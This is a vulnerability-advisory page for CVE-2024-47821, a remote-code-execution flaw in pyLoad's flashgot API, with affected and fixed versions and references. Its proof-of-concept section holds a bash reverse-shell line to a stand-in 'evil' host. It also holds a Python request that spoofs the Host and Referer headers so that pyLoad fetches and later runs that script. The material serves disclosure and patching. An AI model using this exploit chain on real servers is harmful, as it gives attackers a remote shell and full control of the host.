CVE-2024-47821: pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API
Summary The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.
Published Oct 28, 2024 · Updated Jun 8, 2026
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- < 0.5.0b3.dev87
- Fixed in
- 0.5.0b3.dev87
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.
Details
Configuration changes
- Change the download folder to
/home/<user>/.pyload/scripts - Change permissions for downloaded files:
- Change permissions of downloads: on
- Permission mode for downloaded files: 0744
Making the request to download files
The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.
*Referer header check*
def flashgot():
if flask.request.referrer not in (
"http://localhost:9666/flashgot",
"http://127.0.0.1:9666/flashgot",
):
flask.abort(500)
...*Host header check for local check*
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapperOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed
PoC
Create a malicious file. I have created a reverse shell
#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1Host this file at some URL, for eg: http://evil
Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.
import requests
url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = {
"package": "download_finished",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
response = requests.post(url, data=data, headers=headers)When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.
I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine
Screenshots
*Download folder*
*exp.sh is downloaded*
*Script is run*
*Reverse shell connection is received*
Impact
This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system
Credited to anuraagbaishya.
References
- https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g
- https://nvd.nist.gov/vuln/detail/CVE-2024-47821
- https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml
- https://github.com/advisories/GHSA-w7hq-f2pj-c53g
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-48484
pyLoad: Lack of Input Size Validation Leads to Denial of Service (DoS) and Process Termination
medium6.5Oct 9, 2026CVE-2026-75597
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
medium5.3Oct 9, 2026GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
high8.1No fixOct 9, 2026GHSA-889w-m37p-88m5
pyLoad: Api.set_user_permission never invalidates the target's session
high7.5No fixOct 9, 2026GHSA-9q47-3cm2-2rp8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
medium6.9No fixOct 9, 2026CVE-2026-123815
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
high7.7No fixOct 9, 2026
